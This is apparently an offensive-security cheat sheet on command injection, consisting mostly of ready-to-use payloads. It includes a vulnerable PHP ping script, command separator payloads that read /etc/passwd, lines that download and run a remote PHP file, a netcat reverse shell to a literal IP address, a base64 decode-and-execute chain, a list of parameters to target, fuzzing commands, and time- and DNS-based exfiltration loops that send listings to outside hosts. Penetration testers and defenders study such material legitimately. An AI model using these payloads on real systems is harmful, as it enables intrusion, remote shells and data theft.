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Command Injection

Basic info

Command Injection is a critical vulnerability that allows an attacker to execute arbitrary system commands on a server hosting an application. If an application improperly handles user input and passes it to the operating system, an attacker can escape the intended function and execute system commands with the same privileges as the application.

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

🛠️ How Command Injection Works

Applications that interact with the OS (e.g., calling system functions) without properly validating user input can be exploited.

Example: Vulnerable Code (PHP)

<?php
  $user = $_GET['user']; 
  system("ping -c 4 " . $user); 
?>

💡 Problem: The script takes the user parameter and directly appends it to the ping command without validation. 💣 Attack: Inject ; cat /etc/passwd to execute an extra command!

http://target.com/ping.php?user=127.0.0.1;cat /etc/passwd

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

LogoBypassing Bash Restrictions - Rbash | VeryLazyTech

Examples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities:

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

wfuzz

wfuzz -c -z file,payloads.txt --hc 404 "http://target.com/page?input=FUZZ"

ffuf

ffuf -u "http://target.com/page?input=FUZZ" -w payloads.txt

Time based data exfiltration

Extracting data: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

  • dnsbin.zhack.ca

  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

LogoBypassing Bash Restrictions - Rbash | VeryLazyTech

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